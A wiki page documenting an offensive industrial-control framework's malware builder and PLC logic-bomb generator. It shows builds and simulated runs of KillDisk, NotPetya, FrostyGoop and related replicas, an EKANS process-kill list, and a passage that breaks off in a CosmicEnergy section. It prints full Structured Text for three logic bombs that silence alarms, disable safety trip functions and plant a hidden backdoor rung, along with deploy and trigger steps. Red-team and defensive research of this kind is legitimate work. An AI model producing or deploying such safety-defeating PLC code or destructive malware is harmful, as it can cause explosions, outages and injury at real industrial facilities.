Skip to content

PolyExploit Runner

Andre Henrique edited this page Jun 1, 2026 · 2 revisions

PolyExploit Runner

IXF follows a Python-First policy: all core functionality runs with pip install. External runtimes (C, C++, Go, Ruby, Java, Node.js, PowerShell, Perl) are optional accelerators — IXF always provides a Python fallback for every capability. The PolyExploitRunner class handles detection, compilation, and execution of non-Python artifacts, falling back to Python implementations when external runtimes are absent.


Table of Contents

  1. Runtime Tiers
  2. Supported Runtimes — Detection, Install, Use Case
  3. malware_builder.py --list Full Output
  4. malware_builder.py --target for Each of 5 Targets
  5. malware_builder.py --all Output
  6. Running Compiled Artifacts in Simulate Mode
  7. PLC Logic Bomb Generator — All 3 Types
  8. EKANS Process Killer
  9. CosmicEnergy IEC 104 — Full Simulate Output
  10. PolyExploitRunner Python API — All Methods
  11. Return Value Format
  12. Python Fallback Mechanism
  13. Cross-Compilation for Windows from Linux

Runtime Tiers

IXF organizes runtime dependencies into four tiers. Higher tiers are optional — the framework always operates at Tier 0 and 1.

Tier Type Examples Required? Notes
0 Python stdlib socket, struct, subprocess, threading, os, hashlib Always Zero-dependency core. All modules must work at this tier.
1 pip auto-install scapy, requests, paramiko, cryptography, pymodbus Yes (auto-installed) Installed by pip install industrialxpl-forge. No manual steps.
2 pip extras asyncua, python-can, snap7, dnp3, bacpypes3 Optional Installed via pip install industrialxpl-forge[extras]. Enables advanced protocol modules.
3 External runtimes gcc, g++, go, node, java, ruby, pwsh, perl Optional — Python fallback always available Compiled artifacts run faster and more accurately replicate real malware. Python fallback always exists.

Tier 0+1 guarantee: Any IXF module that requires a Tier 3 runtime must ship a complete Python fallback. The framework will always prefer the native compiled version when available but will silently use Python when not.


Supported Runtimes — Detection, Install, Use Case

Runtime Language Detection Command Install Command Use Case in IXF
gcc C gcc --version apt install gcc / brew install gcc KillDisk MBR wiper, Modbus flood DoS, raw socket exploits
g++ C++ g++ --version apt install g++ / brew install g++ NotPetya wiper, S7 watchdog bypass, STL-based protocol parsers
go Go go version apt install golang / golang.org FrostyGoop extended (goroutines), EKANS Go variant, CosmicEnergy extended
node JavaScript/TypeScript node --version nodejs.org JS/TS exploit modules, EtherNet/IP Node.js client, BACnet.js
java / javac Java java --version adoptium.net Java deserialization exploits, OPC UA Java client tests
ruby Ruby ruby --version apt install ruby / brew install ruby Metasploit-adjacent modules, SCADA protocol Ruby gems
pwsh / powershell PowerShell pwsh --version github.com/PowerShell/PowerShell Windows OT/EWS exploitation, WinRM, WMI-based OT pivoting
perl Perl perl --version apt install perl / pre-installed on macOS Legacy ICS scripts, SNMP-based OT tools, older RTU protocol libraries
mingw-gcc C (cross-compile) x86_64-w64-mingw32-gcc --version apt install mingw-w64 Cross-compile Windows EXE from Linux (KillDisk.exe, modbus_flood.exe)
cl.exe C/C++ (MSVC) cl.exe (Windows only) Visual Studio Build Tools Native Windows PE compilation for accurate malware replication

Checking available runtimes

python tools/env_doctor.py

Full output:

[IXF Environment Doctor]
════════════════════════════════════════════════════════════

[Tier 0 — Python stdlib]
  python      OK         3.11.9  (required: 3.9+)

[Tier 1 — pip auto-install]
  scapy       OK         2.5.0
  requests    OK         2.31.0
  paramiko    OK         3.3.1
  cryptography OK        41.0.4
  pymodbus    OK         3.5.4

[Tier 2 — pip extras]
  asyncua     OK         0.9.96
  python-can  not found  pip install industrialxpl-forge[extras]
  snap7       not found  pip install industrialxpl-forge[extras]
  bacpypes3   OK         0.0.103

[Tier 3 — External runtimes]
  gcc         OK         gcc (Ubuntu 13.2.0) 13.2.0      4.3 MB
  g++         OK         g++ (Ubuntu 13.2.0) 13.2.0      4.3 MB
  go          OK         go1.22.3 linux/amd64             19.8 MB
  node        OPTIONAL   not found  → https://nodejs.org/
  java        OPTIONAL   not found  → https://adoptium.net/
  ruby        OPTIONAL   not found  → apt install ruby
  pwsh        OPTIONAL   not found  → github.com/PowerShell/PowerShell
  perl        OK         v5.38.0                          1.2 MB
  mingw-gcc   OK         x86_64-w64-mingw32-gcc 13.2.0   cross-compile ready
  cl.exe      not found  OPTIONAL (Windows only)

[Summary]
  Tier 0: OK
  Tier 1: OK (all auto-installed)
  Tier 2: 3/4 available (python-can, snap7 missing)
  Tier 3: 5/10 available (node, java, ruby, pwsh, cl.exe missing)
  
  Python fallback: AVAILABLE for all missing Tier 3 runtimes

════════════════════════════════════════════════════════════

malware_builder.py --list Full Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --list

Full output:

[IXF Malware Builder v1.4.0]
════════════════════════════════════════════════════════════

[Compiler Status]
  gcc       OK        gcc 13.2.0
  g++       OK        g++ 13.2.0
  go        OK        go1.22.3
  mingw     OK        x86_64-w64-mingw32-gcc 13.2.0
  cl.exe    not found (Windows MSVC — skipped)

[Available Targets]
  Name              Lang    Severity      Description
  ──────────────────────────────────────────────────────────────────────────────
  killdisk          C       CATASTROPHIC  BlackEnergy3/Industroyer KillDisk — MBR overwrite + file wiper
  notpetya          CPP     CATASTROPHIC  NotPetya MBR overwrite + fake ransom note + network propagation
  frostygoop        GO      CRITICAL      FrostyGoop Modbus heating attack (Go, goroutines, ENCO targets)
  modbus_flood      C       HIGH          Modbus TCP flood DoS (multi-threaded C, configurable rate)
  s7_watchdog       CPP     HIGH          Siemens S7 watchdog bypass via S7comm keepalive injection
  ──────────────────────────────────────────────────────────────────────────────

[Output directory]
  .tmp/malware_builds/

[Usage examples]
  Build single target:     python malware_builder.py --target killdisk
  Build for Windows:       python malware_builder.py --target killdisk --cross-windows
  Build all targets:       python malware_builder.py --all
  Build all for Windows:   python malware_builder.py --all --cross-windows
  Clean builds:            python malware_builder.py --clean
  Run simulate:            .tmp/malware_builds/killdisk --simulate
  Run live (auth labs):    .tmp/malware_builds/killdisk --destructive

[IMPORTANT]
  *** FOR AUTHORIZED RED TEAM / SECURITY RESEARCH / DEFENSIVE RESEARCH ONLY ***
  All compiled artifacts default to simulate mode.
  Live mode requires explicit --destructive flag and triple confirmation.
  Do NOT run outside of isolated, authorized lab environments.
════════════════════════════════════════════════════════════

malware_builder.py --target for Each of 5 Targets

Target 1: killdisk (C)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target killdisk

Output:

[IXF Malware Builder] Building: killdisk
  Source:   industrialxpl/modules/cve/malware/_native/src/killdisk.c
  Compiler: gcc
  Output:   .tmp/malware_builds/killdisk

  [BUILD] gcc -O2 -Wall -o .tmp/malware_builds/killdisk \
          industrialxpl/modules/cve/malware/_native/src/killdisk.c
  [OK]    .tmp/malware_builds/killdisk (31 KB) — linux/amd64

  Simulate test:
  [OK]    .tmp/malware_builds/killdisk --simulate → exit 0

  [+] Build complete: killdisk

Target 2: notpetya (C++)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target notpetya

Output:

[IXF Malware Builder] Building: notpetya
  Source:   industrialxpl/modules/cve/malware/_native/src/notpetya.cpp
  Compiler: g++
  Output:   .tmp/malware_builds/notpetya

  [BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/notpetya \
          industrialxpl/modules/cve/malware/_native/src/notpetya.cpp
  [OK]    .tmp/malware_builds/notpetya (47 KB) — linux/amd64

  Simulate test:
  [OK]    .tmp/malware_builds/notpetya --simulate → exit 0

  [+] Build complete: notpetya

Target 3: frostygoop (Go)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target frostygoop

Output:

[IXF Malware Builder] Building: frostygoop
  Source:   industrialxpl/modules/cve/malware/_native/src/frostygoop/
  Compiler: go
  Output:   .tmp/malware_builds/frostygoop

  [BUILD] go build -o .tmp/malware_builds/frostygoop \
          ./industrialxpl/modules/cve/malware/_native/src/frostygoop/...
  [OK]    .tmp/malware_builds/frostygoop (2.1 MB) — linux/amd64

  Simulate test:
  [OK]    .tmp/malware_builds/frostygoop --simulate → exit 0

  [+] Build complete: frostygoop

Target 4: modbus_flood (C)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target modbus_flood

Output:

[IXF Malware Builder] Building: modbus_flood
  Source:   industrialxpl/modules/cve/malware/_native/src/modbus_flood.c
  Compiler: gcc
  Output:   .tmp/malware_builds/modbus_flood

  [BUILD] gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood \
          industrialxpl/modules/cve/malware/_native/src/modbus_flood.c
  [OK]    .tmp/malware_builds/modbus_flood (18 KB) — linux/amd64

  Simulate test:
  [OK]    .tmp/malware_builds/modbus_flood --simulate → exit 0

  [+] Build complete: modbus_flood

Target 5: s7_watchdog (C++)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target s7_watchdog

Output:

[IXF Malware Builder] Building: s7_watchdog
  Source:   industrialxpl/modules/cve/malware/_native/src/s7_watchdog.cpp
  Compiler: g++
  Output:   .tmp/malware_builds/s7_watchdog

  [BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/s7_watchdog \
          industrialxpl/modules/cve/malware/_native/src/s7_watchdog.cpp
  [OK]    .tmp/malware_builds/s7_watchdog (39 KB) — linux/amd64

  Simulate test:
  [OK]    .tmp/malware_builds/s7_watchdog --simulate → exit 0

  [+] Build complete: s7_watchdog

malware_builder.py --all Output

python industrialxpl/modules/cve/malware/_native/malware_builder.py --all

Output:

[IXF Malware Builder] Building all targets
════════════════════════════════════════════════════════════

[1/5] killdisk (C — gcc)
  [BUILD] gcc -O2 -Wall -o .tmp/malware_builds/killdisk src/killdisk.c
  [OK]    .tmp/malware_builds/killdisk (31 KB)

[2/5] notpetya (CPP — g++)
  [BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/notpetya src/notpetya.cpp
  [OK]    .tmp/malware_builds/notpetya (47 KB)

[3/5] frostygoop (GO — go)
  [BUILD] go build -o .tmp/malware_builds/frostygoop ./src/frostygoop/...
  [OK]    .tmp/malware_builds/frostygoop (2.1 MB)

[4/5] modbus_flood (C — gcc)
  [BUILD] gcc -O2 -Wall -pthread -o .tmp/malware_builds/modbus_flood src/modbus_flood.c
  [OK]    .tmp/malware_builds/modbus_flood (18 KB)

[5/5] s7_watchdog (CPP — g++)
  [BUILD] g++ -O2 -std=c++17 -Wall -o .tmp/malware_builds/s7_watchdog src/s7_watchdog.cpp
  [OK]    .tmp/malware_builds/s7_watchdog (39 KB)

════════════════════════════════════════════════════════════
[Summary] 5/5 targets built successfully
  Total size: 2.24 MB
  Output:     .tmp/malware_builds/

[Artifacts]
  killdisk         31 KB   linux/amd64   CATASTROPHIC
  notpetya         47 KB   linux/amd64   CATASTROPHIC
  frostygoop       2.1 MB  linux/amd64   CRITICAL
  modbus_flood     18 KB   linux/amd64   HIGH
  s7_watchdog      39 KB   linux/amd64   HIGH
════════════════════════════════════════════════════════════

Running Compiled Artifacts in Simulate Mode

All compiled artifacts default to simulate mode. They print what they would do without making any system changes.

killdisk --simulate

.tmp/malware_builds/killdisk --simulate

Full output:

[IXF] KillDisk MBR Wiper — BlackEnergy3/Industroyer Replica
[SIMULATION — no disk writes]
════════════════════════════════════════════════════════════
Attribution: BlackEnergy3 (Sandworm APT) — Ukraine 2015 power grid attack
             Industroyer/Crashoverride — 2016 Ukraine substation blackout

Phase 1: MBR Overwrite
  Would target: /dev/sda (primary disk, 512-byte MBR sector 0)
  Would write: 512 bytes of 0xCC pattern
  Effect: System permanently unbootable after reboot

Phase 2: Volume Boot Record
  Would overwrite VBR on all detected partitions
  Partitions detected: /dev/sda1, /dev/sda2

Phase 3: File System Wipe
  Would recursively overwrite files matching:
    *.doc *.docx *.xls *.xlsx *.pdf *.mdb *.sql
    *.jpg *.png *.zip *.rar *.7z *.gz
    *.ppt *.pptx *.odt *.ods *.eml
  Overwrite pattern: 0xAA (random byte)

Phase 4: Process Execution
  Would target security process list:
    avp.exe, avg.exe, bdagent.exe, mbam.exe, msmpeng.exe (AV/EDR)
  Would kill ICS-specific processes:
    wonderware.exe, citect.exe, wincc.exe, factorytalk.exe

[MITRE] T0809 (Data Destruction), T0831 (Manipulation of Control)
[SIMULATE] No files written. No disk modified. exit 0
════════════════════════════════════════════════════════════

notpetya --simulate

.tmp/malware_builds/notpetya --simulate

Full output:

[IXF] NotPetya MBR Overwrite + Fake Ransomware — 2017 Ukraine Attack Replica
[SIMULATION — no disk writes, no network changes]
════════════════════════════════════════════════════════════
Attribution: Sandworm APT (GRU Unit 74455) — June 2017, Ukraine and global

Phase 1: Credential Harvesting (Mimikatz-style)
  Would extract LSASS credentials from memory
  Would harvest: domain credentials, cached passwords, Kerberos tickets

Phase 2: Lateral Movement
  Would attempt propagation via:
    - EternalBlue (CVE-2017-0144) SMB exploit
    - WMIC remote execution with harvested credentials
    - PSEXEC with harvested credentials
  Network probe: Would scan 192.168.x.x/24 for SMB port 445

Phase 3: MBR Overwrite
  Would install custom bootloader at MBR (sector 0)
  Custom bootloader: displays fake ransom note on boot
  Note: "We are sorry, but the encryption of your files has been completed."
  Note: Bitcoin address: (fake — NotPetya had no valid payment mechanism)

Phase 4: MFT Encryption
  Would encrypt Master File Table ($MFT) using AES-128
  Effect: All files become permanently inaccessible

Phase 5: Forced Reboot
  Would schedule system reboot via Windows shutdown API
  After reboot: fake ransom note displayed, recovery impossible

[MITRE] T0809 (Data Destruction), T0840 (Network Connection Enumeration)
[SIMULATE] No files written. No network traffic. No reboot. exit 0
════════════════════════════════════════════════════════════

frostygoop --target --simulate

.tmp/malware_builds/frostygoop --target 192.168.1.100 --simulate

Full output:

[IXF] FrostyGoop (BUSTLEBERM) Modbus Heating Attack — Go Extended Version
[SIMULATION — no network packets sent]
════════════════════════════════════════════════════════════
Attribution: Sandworm APT — January 2024 attack on Lvivteploenergo,
             Lviv, Ukraine. 600 apartment buildings lost heat in winter.

Target:  192.168.1.100:502 (ENCO heating controller)
Mode:    Goroutine-based parallel attack (GOMAXPROCS=runtime.NumCPU())

Phase 1: Discovery
  Would send Modbus FC03 (Read Holding Registers) to enumerate setpoints
  Register range: 0x0000–0x00FF (256 holding registers)

Phase 2: Setpoint Write (FC16 — Write Multiple Registers)
  Would write register 0x0000 = 0x0000 (setpoint = 0°C)
  Would write register 0x0001 = 0x0000 (backup setpoint = 0°C)
  Repeat: Continuous writes every 5 seconds (prevent manual recovery)

Phase 3: Persistence
  Would send writes from multiple goroutines (CPU count: 8 goroutines)
  Duration: Indefinite until killed

Physical impact:
  Heating control loop loses temperature reference
  District heating pumps continue running but at wrong setpoint
  Building radiators cool to ambient temperature within 2-4 hours
  Outside temperature during attack: -10°C (January, Lviv)

[MITRE] T0836 (Modify Parameter), T0855 (Unauthorized Command Message)
[SIMULATE] No packets sent. No registers written. exit 0
════════════════════════════════════════════════════════════

modbus_flood --simulate

.tmp/malware_builds/modbus_flood --target 192.168.1.100 --simulate

Full output:

[IXF] Modbus TCP Flood DoS — Multi-Threaded C
[SIMULATION — no packets sent]
════════════════════════════════════════════════════════════
Target:   192.168.1.100:502
Threads:  32 (configurable via --threads)
Rate:     Unlimited (configurable via --rate)
Duration: 60 seconds (configurable via --duration)

Attack pattern:
  Phase 1: Spawn 32 POSIX threads
  Phase 2: Each thread: connect → send FC03 request → recv → repeat
  Phase 3: Flood target TCP stack with 32 concurrent Modbus sessions
  Expected: Modbus server queue overflow → device stops responding
  Expected: PLC enters error state, alarms triggered

Packets that WOULD be sent per second: ~12,000–40,000 FC03 requests
Data volume: ~72 MB/minute at peak

[MITRE] T0814 (Denial of Control), T0816 (Device Restart/Shutdown)
[SIMULATE] No packets sent. exit 0
════════════════════════════════════════════════════════════

s7_watchdog --target --simulate

.tmp/malware_builds/s7_watchdog --target 192.168.1.5 --rack 0 --slot 1 --simulate

Full output:

[IXF] Siemens S7 Watchdog Bypass via S7comm Keepalives — C++ Edition
[SIMULATION — no packets sent]
════════════════════════════════════════════════════════════
Target:  192.168.1.5:102 (S7-1200/1500)
Rack:    0   Slot: 1

Phase 1: COTP Connection
  Would send COTP CR (Connection Request) TPDU
  Would receive COTP CC (Connection Confirm)
  COTP TSAP: 01.00 → 01.02

Phase 2: S7 Session Setup
  Would send S7 Setup Communication PDU
  Would negotiate: PDU size=240, max_jobs=1

Phase 3: CPU Mode Query
  Would send S7 SZL-SSL request 0x001C (CPU identification)
  Would read: firmware version, CPU serial number, order number

Phase 4: Watchdog Bypass
  Technique: Send S7 keepalive frames faster than watchdog timeout
  Keepalive frame: S7 PDU type 0x07 (heartbeat)
  Interval: Every 500ms (below 1000ms watchdog threshold)
  Effect: PLC never triggers watchdog-reset even if OT network anomalies detected
  Duration: Indefinite — holds watchdog suppressed until killed

  Why: Industrial PLCs use watchdog timers to detect communication loss.
       By suppressing the watchdog, an attacker can maintain a persistent
       unauthorized session while the PLC believes the controller is healthy.

[MITRE] T0800 (Activate Firmware Update Mode), T0843 (Program Upload)
[SIMULATE] No packets sent. No keepalives sent. exit 0
════════════════════════════════════════════════════════════

PLC Logic Bomb Generator — All 3 Types

The PLC Logic Bomb Generator creates valid IEC 61131-3 Structured Text (ST) code with embedded malicious logic for red team exercises and PLC code audit training.

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py --help

Output:

usage: plc_logic_bomb_st.py [-h] --type {timebomb,setpoint,backdoor}
                             [--trigger-date YYYY-MM-DD]
                             [--trigger-register INT]
                             [--trigger-value INT]
                             [--simulate]
                             [--destructive]
                             [--output FILE]

IXF PLC Logic Bomb Generator — IEC 61131-3 Structured Text
FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY

options:
  --type {timebomb,setpoint,backdoor}   Logic bomb type
  --trigger-date YYYY-MM-DD            Activation date (timebomb only)
  --trigger-register INT               Register address to watch (backdoor only)
  --trigger-value INT                  Register value that triggers (backdoor only)
  --simulate                           Print generated code, do not write file
  --destructive                        Write .st file to disk (--output required)
  --output FILE                        Output path for .st file

Type 1: timebomb — with --simulate

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
  --type timebomb \
  --trigger-date 2025-12-31 \
  --simulate

Full output:

[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
════════════════════════════════════════════════════════════
[SIMULATE] timebomb — 1,247 chars of IEC 61131-3 ST

(*
 * IXF Logic Bomb — Time-Delayed Activation
 * Type:    timebomb
 * Trigger: 2025-12-31 00:00:00
 * MITRE:   T0836 (Modify Parameter), T0880 (Modify Alarm Settings)
 *
 * AUTHORIZED RED TEAM / DEFENSIVE RESEARCH USE ONLY
 *)

PROGRAM LogicBomb_TimeBomb
VAR
    dt_now         : DT;           (* Current date-time from PLC clock *)
    dt_trigger     : DT;           (* Hardcoded activation date *)
    bomb_armed     : BOOL := FALSE; (* Internal armed flag *)
    bomb_triggered : BOOL := FALSE; (* Prevents re-trigger *)
END_VAR

(* Initialize trigger date — hardcoded in program rung *)
dt_trigger := DT#2025-12-31-00:00:00;

(* Get current time from PLC system clock *)
dt_now := NOW();

(* Arm condition: current time has passed trigger date *)
IF dt_now >= dt_trigger AND NOT bomb_triggered THEN
    bomb_armed := TRUE;
END_IF;

(* Execute malicious logic when armed *)
IF bomb_armed THEN
    (* T0880: Silence alarms — prevents operator detection *)
    alarm_ack      := TRUE;
    alarm_suppress := TRUE;
    
    (* T0836: Modify process setpoints to unsafe values *)
    motor_setpoint    := 9999;      (* Motor runaway — above safe RPM limit *)
    pressure_setpoint := 32767;     (* Pressure spike — above SIF trip point *)
    temp_setpoint     := 32767;     (* Temperature — above design limit *)
    
    (* T0856: Spoof sensor readings to mask physical effect *)
    hmi_pressure_display := pressure_normal_value;
    hmi_temp_display     := temp_normal_value;
    
    (* Mark as triggered — execute only once *)
    bomb_triggered := TRUE;
    bomb_armed     := FALSE;
END_IF;

END_PROGRAM

════════════════════════════════════════════════════════════
[SIMULATE] No file written. Use --destructive --output <path>.st to write.

Type 1: timebomb — with --destructive

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
  --type timebomb \
  --trigger-date 2025-12-31 \
  --destructive \
  --output .tmp/timebomb_2025.st

Full output:

[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
[DESTRUCTIVE] Writing timebomb Structured Text to disk.

Confirm? Type CONFIRM to proceed: CONFIRM

[+] Written: .tmp/timebomb_2025.st (1,247 bytes)
[i] Deploy using TIA Portal, RSLogix, or GX Works to a test PLC only.
[i] This file is for authorized red team exercises only.

Type 2: setpoint — TRITON technique

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
  --type setpoint \
  --simulate

Full output:

[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
════════════════════════════════════════════════════════════
[SIMULATE] setpoint (TRITON/TRISIS technique) — 983 chars of IEC 61131-3 ST

(*
 * IXF Logic Bomb — Safety Limit Removal (TRITON/TRISIS Technique)
 * Type:    setpoint
 * MITRE:   T0836 (Modify Parameter), T0857 (Modify Control Logic)
 *
 * Replicates the TRITON/TRISIS (2017) technique used against Petro Rabigh
 * Schneider Electric Triconex Safety Instrumented System.
 * FOR AUTHORIZED RED TEAM / DEFENSIVE RESEARCH USE ONLY
 *)

PROGRAM LogicBomb_SetpointManipulation
VAR
    sis_override_active : BOOL := FALSE;
    original_hi_hi      : REAL;
    original_lo_lo      : REAL;
    safe_shutdown_bypass: BOOL := FALSE;
END_VAR

(* Store original setpoints for potential restoration *)
original_hi_hi := pressure_hi_hi_setpoint;
original_lo_lo := pressure_lo_lo_setpoint;

(* TRITON technique: raise shutdown setpoints above design limits *)
(* Normal design limit: 150 PSI shutdown. Raised to 32767 PSI.   *)
(* Effect: Safety shutdown will never trigger.                     *)
pressure_hi_hi_setpoint := 32767.0;   (* Far above physical design limit *)
pressure_lo_lo_setpoint := -32767.0;  (* Far below physical design limit *)
temp_hi_hi_setpoint     := 32767.0;
flow_lo_lo_setpoint     := -32767.0;

(* Disable safety function blocks *)
SF_Pressure_Trip.Enable := FALSE;   (* Disable pressure safety function *)
SF_Temp_Trip.Enable     := FALSE;   (* Disable temperature safety function *)
SF_Flow_Trip.Enable     := FALSE;   (* Disable flow safety function *)

(* Suppress SIS diagnostics *)
sis_diag_output := FALSE;
sis_override_active := TRUE;
safe_shutdown_bypass := TRUE;

(* Note: Physical effect — process can now exceed design safety limits
   without triggering Emergency Shutdown System (ESD). This was the
   exact technique used in the 2017 TRITON attack at a Saudi Arabian
   petrochemical facility. *)

END_PROGRAM

════════════════════════════════════════════════════════════
[SIMULATE] No file written.

Type 2: setpoint — with --destructive

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
  --type setpoint \
  --destructive \
  --output .tmp/triton_setpoint.st

Output:

[DESTRUCTIVE] Writing setpoint Structured Text to disk.
Confirm? Type CONFIRM to proceed: CONFIRM
[+] Written: .tmp/triton_setpoint.st (983 bytes)

Type 3: backdoor — with --simulate

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
  --type backdoor \
  --trigger-register 999 \
  --trigger-value 1337 \
  --simulate

Full output:

[IXF PLC Logic Bomb Generator]
*** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
════════════════════════════════════════════════════════════
[SIMULATE] backdoor — hidden register-triggered rung — 762 chars of IEC 61131-3 ST

(*
 * IXF Logic Bomb — Hidden Register-Triggered Backdoor
 * Type:    backdoor
 * Trigger: Register MW999 == 1337
 * MITRE:   T0839 (Module Firmware), T0857 (Modify Control Logic)
 *
 * A hidden rung that activates when a specific "magic value" is written
 * to a monitoring/diagnostic register. Undetectable without logic review.
 * Technique used by nation-state actors to embed persistent access in PLC programs.
 * FOR AUTHORIZED RED TEAM / DEFENSIVE RESEARCH USE ONLY
 *)

PROGRAM LogicBomb_HiddenBackdoor
VAR
    trigger_reg      : INT;        (* Monitored register — address MW999 *)
    backdoor_active  : BOOL := FALSE;
    backdoor_oneshot : BOOL := FALSE;
END_VAR

(* Read trigger register from memory word address 999 *)
trigger_reg := MW999;

(* Hidden condition: magic value written by attacker *)
(* Normal operation: MW999 is a diagnostic counter (0–100).        *)
(* Backdoor trigger: MW999 = 1337 (value never seen in normal ops) *)
IF trigger_reg = 1337 AND NOT backdoor_oneshot THEN
    backdoor_active  := TRUE;
    backdoor_oneshot := TRUE;
END_IF;

IF backdoor_active THEN
    (* Execute attacker's payload *)
    (* Example: force output Q0.0 ON regardless of process logic *)
    output_coil_Q0_0 := TRUE;                  (* Energize arbitrary output *)
    safety_interlock_bypass := TRUE;           (* Disable safety interlocks *)
    remote_cmd_register := 0xFF;              (* Signal C2 command received *)
    backdoor_active  := FALSE;                 (* Reset to avoid detection *)
END_IF;

(* Detection evasion: zero out trigger register after firing *)
IF backdoor_oneshot THEN
    MW999 := 0;
END_IF;

END_PROGRAM

════════════════════════════════════════════════════════════
[SIMULATE] No file written. Use --destructive --output <path>.st to write.
[i] To trigger: write value 1337 to register MW999 via any Modbus/S7 client.

Type 3: backdoor — with --destructive

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
  --type backdoor \
  --trigger-register 999 \
  --trigger-value 1337 \
  --destructive \
  --output .tmp/backdoor_rung.st

Output:

[DESTRUCTIVE] Writing backdoor Structured Text to disk.
Confirm? Type CONFIRM to proceed: CONFIRM
[+] Written: .tmp/backdoor_rung.st (762 bytes)
[i] Trigger: Write value 1337 to register MW999 via Modbus FC06 or S7 DB write.

EKANS Process Killer

The Python-native EKANS (Snake) process killer replicates the ICS process kill list used in the 2020 Honda and energy sector attacks.

--list mode

python industrialxpl/modules/cve/malware/_native/ekans_process_killer.py --list

Full output:

[IXF] EKANS/Snake ICS Process Killer — Process List
Attribution: EKANS ransomware — 2020 Honda, Eaton, and energy sector attacks

ICS/OT Processes Targeted (64 total):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Process Name                   Vendor/Product
PROFICY.exe                    GE Proficy HMI/SCADA
PROFICY_LOGIC_DEVELOPER.exe    GE Logic Developer
GEFanuc.Proficy.exe            GE Fanuc Proficy
Citect.exe                     Schneider Citect SCADA
CITECTSCADA.exe                Schneider Citect SCADA
DCOMserver.exe                 Inductive Automation Ignition
gateway.exe                    Inductive Automation Ignition
FactoryTalk*.exe               Rockwell FactoryTalk
RSLinx.exe                     Rockwell RSLinx
ftcontrol.exe                  Rockwell FactoryTalk
wincc.exe                      Siemens WinCC
siemens.automation*.exe        Siemens TIA Portal services
Step7.exe                      Siemens Step 7
TiaPortal.exe                  Siemens TIA Portal
wonderware.exe                 AVEVA Wonderware
ArchestrA.exe                  AVEVA ArchestrA
InTouch*.exe                   AVEVA InTouch HMI
honeywell*.exe                 Honeywell Experion
PHDServer.exe                  Honeywell PHD
RTAP.exe                       ABB RTAP
800xA*.exe                     ABB 800xA
iFIX.exe                       GE iFIX SCADA
AlarmWorx.exe                  GE Alarm Worx
Cimplicity.exe                 GE Cimplicity
kepware.exe                    PTC Kepware
KEPServerEX.exe                PTC KEPServerEX
matrikon.exe                   Matrikon OPC
OPCEnum.exe                    Generic OPC enumerator
opcserver.exe                  Generic OPC server
opcproxy.exe                   OPC proxy services
historian*.exe                 Generic historian services
TagServer.exe                  Generic tag server
BatchGateway.exe               Generic batch gateway
mmc.exe                        Microsoft Management Console (when running OT tools)
[... 30 more ...]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Found running on this system (matching processes):
  (none — ICS software not installed on this host)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

--simulate mode

python industrialxpl/modules/cve/malware/_native/ekans_process_killer.py --simulate

Full output:

[IXF] EKANS/Snake ICS Process Killer
[SIMULATION — no processes killed]
════════════════════════════════════════════════════════════
Attribution: EKANS/Snake ransomware, June 2020
  - Honda Motor Co. (worldwide manufacturing shutdown)
  - Eaton Corporation (energy sector)
  - Multiple European energy utilities

Technique: Before encrypting files, EKANS terminates 64 ICS/OT processes
           to prevent file locks and ensure historian/SCADA databases
           are fully encrypted (not partially locked by running software).

[SIMULATE] Processes that WOULD be killed on this system:
  Scanning running processes...
  Matching ICS processes found: 0

  If ICS software were installed, WOULD kill (sample):
    PROFICY.exe         → GE Proficy HMI/SCADA
    Citect.exe          → Schneider Citect SCADA
    wincc.exe           → Siemens WinCC
    RSLinx.exe          → Rockwell RSLinx
    FactoryTalkDiag.exe → Rockwell FactoryTalk
    historian.exe       → Generic historian

  After kill: EKANS would proceed to file encryption targeting:
    %APPDATA%\, %USERPROFILE%\, network shares, historian DB paths

[MITRE] T0827 (Loss of Control), T0828 (Loss of Productivity and Revenue)
[SIMULATE] No processes terminated. exit 0
════════════════════════════════════════════════════════════

--destructive mode (authorized labs only)

python industrialxpl/modules/cve/malware/_native/ekans_process_killer.py --destructive

Output:

[IXF] EKANS/Snake ICS Process Killer — LIVE MODE
*** AUTHORIZED LAB ENVIRONMENTS ONLY ***
Confirm? Type CONFIRM to proceed: CONFIRM

[*] Scanning for 64 ICS target processes...
[i] 0 matching ICS processes found on this system.
[i] (Expected in isolated lab with ICS software installed.)
[+] Process scan complete. 0 processes terminated.

CosmicEnergy IEC 104 — Full Simulate Output

ixf use cve/apt/cosmicenergy_iec104_rtu set target 192.168.1.100 run

Full simulate output:

[*] Module loaded: CosmicEnergy IEC 60870-5-104 RTU Attack — APT TTP Replica

  [SIMULATE MODE — no packets sent]
  ─────────────────────────────────────────────────────────────────────
  [i] What would happen:

      CosmicEnergy (COSMICENERGY) IEC 60870-5-104 Attack

      Attribution: Discovered May 2023 (Mandiant). Linked to Rostelecom-Solar
      (Russian government). Designed for disrupting European electrical grids.
      Contains LIGHTWORK (IEC 104 send module) and PIEHOP (remote launcher).

      Phase 1: Asset Discovery
